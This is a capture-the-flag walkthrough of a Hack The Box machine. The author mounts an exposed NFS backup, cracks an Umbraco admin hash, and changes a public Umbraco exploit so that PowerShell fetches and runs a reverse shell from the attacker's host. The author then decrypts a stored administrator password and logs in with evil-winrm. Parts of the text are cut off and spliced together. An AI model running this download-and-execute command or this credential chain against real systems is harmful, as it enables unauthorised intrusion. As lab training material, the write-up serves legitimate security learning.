The box also has mountd open so I took a look at that

kali@kali:~$ showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

And mounted the drive

kali@kali:~$ sudo mount -t nfs 10.10.10.180:/site_backups ./site_backups

So port 80 is most likely running Umbraco, I found creds in the sdf file within the App_Data directory

I assumed it was meant to be admin not adminadmin

admin@htb.local:b8be16afba8c314ad33d812f22a04991b90e2aaa

So I cracked it with john

kali@kali:~$ john crack --format=Raw-SHA1 --wordlist=/usr/share/wordlists/rockyou.txt

Screenshot 3

Clicking help told me the version

Screenshot 4

Which led me to https://www.exploit-db.com/exploits/46153. The default payload just spawns a calc, so I updated the target exe to be

powershell.exe

And the arguments to be

-Command Invoke-Expression(Invoke-WebRequest -Uri http://10.10.14.16/shell.ps1 -UseBasicParsing)

I then hosted a powershell reverse shell as shell.ps1 and opened a listener. Then ran the exploit

kali@kali:~$ python3 expliot.py
Start
[]

In the simplehttpserver

10.10.10.180 - - [14/Jan/2021 11:41:40] "GET /shell.ps1 HTTP/1.1" 200 -

And the listener

                               Security_PasswordStrength : 3

As expected, the SecurityPasswordAES is there

The decryption script expects the encrypted password to be in hex, so I used a quick python script to do that

kali@kali:~$ cat tohex.py
numbers = [
    255,
    155,
    28,
    115,
    214,
    107,
    206,
    49,
    172,
    65,
    62,
    174,
    19,
    27,
    70,
    79,
    88,
    47,
    108,
    226,
    209,
    225,
    243,
    218,
    126,
    141,
    55,
    107,
    38,
    57,
    78,
    91
]

for number in numbers:
    print(format(number, "x"), end="")

Ran it

kali@kali:~$ python3 tohex.py
ff9b1c73d66bce31ac413eae131b464f582f6ce2d1e1f3da7e8d376b26394e5b

Then updated the decryption script to use this, and ran that too

kali@kali:~$ python3 decrypt.py
00000000: 21 00 52 00 33 00 6D 00  30 00 74 00 65 00 21 00  !.R.3.m.0.t.e.!.

None
!R3m0te!

I then tried to evil-winrm as administrator

kali@kali:~$ evil-winrm -u 'administrator' -p '!R3m0te!' -i 10.10.10.180

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

Then grab the root flag
